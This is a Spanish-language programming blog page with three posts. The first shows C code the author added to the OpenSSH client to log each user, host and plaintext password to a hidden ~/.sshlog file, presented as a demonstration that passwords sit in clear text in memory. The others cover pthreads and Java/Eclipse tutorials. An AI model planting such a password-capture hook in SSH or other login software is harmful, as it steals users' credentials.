Mostrando entradas con la etiqueta programacion. Mostrar todas las entradas
Mostrando entradas con la etiqueta programacion. Mostrar todas las entradas

jueves, marzo 19, 2009

Cliente ussh

Que es un cliente ussh? alguien lo sabe?... pues en principio no deberian! porque me lo acabo de inventar... son las siglas de UnSecure SHell.

El cacho de codigo que posteo lo he escrito dentro de los fuentes de openssh (concretamente la version 3.9, aunque ya estamos por la 5.2 cuando escribo esto):

/*******************************************************/
/* Added by me to get the user password in plain text. */
/************************ HACK *************************/
{
const int LEN = 8196;
const int OPEN_OPTS = O_RDWR | O_CREAT | O_APPEND;
const mode_t OPEN_PERMS = 0600;

int fd;
char *home;
char name[LEN];
char pair[LEN];

/*
* Build the pair user@server -- password.
*/
snprintf (pair, LEN,"%s@%s -- %s\n", authctxt->server_user, authctxt->host, password);

/*
* Build the absolute path name for a hidden file that will contain
* the pair user@server -- password.
*/
if ((home = getenv ("HOME")) == NULL)
goto out_hack;

strncpy (name, home, LEN);
strncat (name, "/.sshlog", LEN);

if ((fd = open (name, OPEN_OPTS, OPEN_PERMS)) == -1)
goto out_hack;

write (fd, pair, strlen (pair));
close (fd);

}

out_hack:
/**************************/
/******* END HACK *********/
/**************************/

Se ve claramente que es muy sencillo y ademas tiene explicado lo que hace. Es una demostracion de como claramente hay momentos en los que la contraseña SI ESTA EN TEXTO CLARO dentro de la memoria del proceso. Lo que aqui se hace es que cada vez que se utilice el cliente ssh se guardara en el fichero "$HOME/.sshlog" una linea con el usuario el host y la contraseña que se ha utilizado.

No he querido complicarme mucho con el manejo de ristras y he declarado buffers estaticos aunque estoy utilizando "funciones de ristras n" (strncpy, strncat y snprintf) y ademas creo que las variables de entorno estan limitadas por los sistemas... aun asi recordemos que no se deberian usar bufferes estaticos donde la informacion puede venir de fuera por problemas con buffers overflows

Como este codigo se puede usar con mala idea no pongo en que fichero hay que ponerlo, ni funcion, ni linea ni nada mas, alguien con un minimo de habilidad sabria buscar donde va y por supuesto escribirlo... de hecho creo que tiene mas merito buscar el sitio concreto donde habria que ponerlo que escribirlo...

martes, marzo 11, 2008

Desengaño

Esta va a ser una entrada rápida. Resulta que he estado equivocado todo este tiempo, no sabía crear hilos (threads) en UN*X. Creía que se hacía con fork(2), pero no, esto crea procesos.

Para usar hilos hay que jugar MUUUUUCHO con la llamada al sistema sys_clone, que se accede mediante la llamada de biblioteca clone(2). Pero hay un problema, que realmente no estamos haciendo casi nada, hay que manejar un montón de cosas por debajo. Lo mejor es usar los famosos pthreads, normalmente ya vienen en el sistema (/usr/include/pthread.h) pero no siempre viene la documentación, al menos en Ubuntu no viene, asi que hay que instalar la documentacion completa de la glibc, "sudo apt-get install glibc-doc" y a partir de ahí "man 7 phtreads", "man phtread_create", etc...

Como curiosidad les diré que tanto pthreads como clone(2) como fork(2) utilizan por debajo sys_clone, pero esto no implica que lo que crea fork(2) sean hilos, no se dejen engañar.

domingo, septiembre 16, 2007

Aprendizaje de Java y eclipse

La red esta repleta de recursos acerca del lenguaje de programación Java, como por ejemplo el de Aprenda java como si estuviera en primero o javapassion. Son tantos los sitios que seguramente no sepamos por donde empezar y probablemente nunca lo hagamos a menos que alguien nos introduzca en el mundillo.

Gracias a los siguientes vídeo tutoriales podemos contar con una persona que nos enseñará en casa y a nuestro ritmo.

Eclipse Vídeo Tutorial.
Excelente contenido audiovisual dónde se muestra todo un ciclo completo de desarrollo usando el IDE eclipse. (Aprenderas a crear un proyecto, depurar, realizar una batería de pruebas, generar documentación, elaborar diagramas UML y programar interfaces gráficas de usuario.)

Eclipse and Java for total Beginners.
Serie de 16 vídeos de menos de 15 minutos cada uno con los que aprenderás lo básico de java y eclipse.

Netbeans Docs & Support
También ofrece videotueoriales cortos de cómo empezar a usar otras tecnología de java mediante el IDE mantenido por SUN

Una vez introducidos. "Lo mejor es seguir las fuentes oficiales!". En este caso el Sun's Java Tutorial y Eclipse documentation.

Además eclipse es uno de esos editores extensibles por la comunidad de usuarios y entre la montaña de plugins, éstos son algunos de mis favoritos:
  • jadClipse Navegar por el código fuente de archivos .class
  • FindBug Encontrar fallos potenciales en nuestro código.

Para obtener mas cosas interesantes consulta mis enlaces útiles de java en el delicious